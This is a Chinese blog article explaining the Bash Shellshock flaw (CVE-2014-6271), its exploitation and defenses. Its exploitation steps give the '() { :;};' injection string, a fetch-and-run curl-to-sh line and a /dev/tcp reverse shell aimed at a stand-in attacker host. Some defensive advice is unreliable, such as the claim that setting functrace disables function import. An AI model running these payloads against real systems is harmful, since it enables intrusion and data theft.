当前位置: 首页 > web >正文

CVE-2014-6271(bash破壳漏洞 )

漏洞原理

       CVE-2014-6271是GNU Bash shell的远程代码执行漏洞,因Bash在解析环境变量时错误处理函数定义,导致攻击者可注入恶意命令。具体表现为:

       环境变量函数定义:Bash允许通过环境变量定义函数(如VAR() { ... };)。

       未封闭的函数定义:若函数定义后未正确闭合(如遗漏;}),Bash会继续解析后续内容,并将其视为命令执行。

       触发场景:当Bash作为子进程被调用(如CGI脚本、DHCP客户端、SSH等)时,攻击者可通过环境变量注入恶意代码。

示例漏洞环境变量

VAR='() { :;}; echo "Pwned!"'  # 定义函数VAR,并在函数外注入echo命令

     当Bash解析此变量时,会执行echo "Pwned!",导致命令注入。

利用方式

  1. 构造恶意环境变量:在HTTP请求头、SSH连接或DHCP请求中注入包含恶意函数的变量。
  2. 触发Bash解析:通过CGI脚本、SSH服务器或DHCP客户端调用Bash,解析恶意环境变量。
  3. 执行任意命令:恶意函数定义后的代码被Bash执行,例如:
    • 下载并运行木马(如curl http://attacker.com/malware | sh);
    • 创建反向Shell(如bash -i >& /dev/tcp/attacker.com/4444 0>&1);
    • 窃取敏感数据(如cat /etc/passwd > /tmp/pass)。

典型利用场景

Web服务器CGI漏洞:攻击者发送包含恶意User-Agent头的HTTP请求,触发Bash处理CGI脚本时的命令执行。

SSH公钥授权:通过~/.ssh/authorized_keys文件注入环境变量,当用户使用SSH登录时触发漏洞。

防御措施

  1. 升级Bash至安全版本
    • 官方已发布修复版本(Bash 4.3及以上)。用户需通过包管理器(如apt-get upgrade bash)或手动编译更新。
    • 验证版本:运行bash --version,确保输出包含4.3或更高版本。
  2. 限制Bash使用场景
    • 避免在CGI脚本中使用Bash:改用更安全的Shell(如dash)或编程语言(如Python、Perl)。
    • 禁用环境变量函数定义:在Bash启动时添加set -o functraceexport BASH_FUNC_TRACE=1(需测试兼容性)。
  3. 环境变量过滤
    • 清除危险变量:在调用Bash的脚本前,执行unset VAR清除可能被攻击的变量(如HTTP_USER_AGENT)。
    • 使用安全函数:在Shell脚本中避免动态解析环境变量,改用显式参数传递(如$1而非$VAR)。
  4. 网络层防护
    • 防火墙阻断异常请求:限制外部对CGI脚本(如/cgi-bin/目录)的访问,或通过WAF(Web应用防火墙)过滤包含(){的HTTP头。
    • 入侵检测系统(IDS):部署规则检测异常Bash命令(如curl|sh、反向Shell特征)。
  5. 系统加固
    • 最小权限原则:确保Web服务器、SSH服务等以非root用户运行,限制漏洞利用后的权限提升。
    • 审计日志:监控/var/log/auth.log/var/log/nginx/access.log等日志,检测异常命令执行。

与VPN漏洞的对比

维度CVE-2014-6271(Bash)VPN漏洞(如CVE-2019-11510)
攻击载体环境变量注入(文件/网络)网络请求路径遍历(服务端漏洞)
利用场景CGI脚本、SSH、DHCP等VPN设备Web服务直接暴露公网
影响范围依赖Bash使用的场景(广泛)特定VPN设备(定向攻击)
防御核心升级Bash+环境变量过滤系统升级+输入验证

 结语

把行动交给现在

把结果交给时间

!!!

http://www.xdnf.cn/news/17949.html

相关文章:

  • Android数据缓存目录context.getCacheDir与Environment.getExternalStorageDirectory
  • Git 中切换到指定 tag
  • 会议系统进程池管理:初始化、通信与状态同步详解
  • Fiddler抓包
  • 【FreeRTOS】刨根问底4: 优先级反转是啥?咋解决?
  • 为什么Integer缓存-128 ~ 127
  • 学习设计模式《二十二》——职责链模式
  • 搭建 Docker 私有仓库
  • springboot项目不同平台项目通过http接口AES加密传输
  • UE5配置MRQ编解码器输出MP4视频
  • 机器人“ChatGPT 时刻”倒计时
  • 电池模组奇异值分解降阶模型
  • 两种方法实现,本地部署Qwen-Image,并开放API服务
  • MyBatis学习总结(六)
  • 高并发内存池 性能瓶颈分析与基数树优化(9)
  • vLLM(Vectorized Large Language Model Serving) 的深度解析
  • C++ 应用场景全景解析:从系统级到AI的跨越式演进
  • GaussDB数据库架构师修炼(十六) 如何选择磁盘
  • jetson orin nx(8G)烧录super系统实录
  • 亚马逊手工制品分类体系革新:从流量重构到运营升级的深度解析
  • Wireshark中常见协议
  • WriteBooster
  • 解决安装 scikit-learn==1.3.1 时出现的版本匹配错误
  • MixOne在macOS上安装碰到的问题
  • SpringMVC请求与响应
  • FPGA读取AHT20温湿度模块思路及实现,包含遇到的问题(IIC协议)
  • Opencv 边界填充 图像运算 阈值处理 和图像平滑处理
  • 【Linux基础知识系列】第九十四篇 - 如何使用traceroute命令追踪路由
  • 【从零开始学习Redis】项目实战-黑马点评D1
  • 【代码随想录day 20】 力扣 538.把二叉搜索树转换为累加树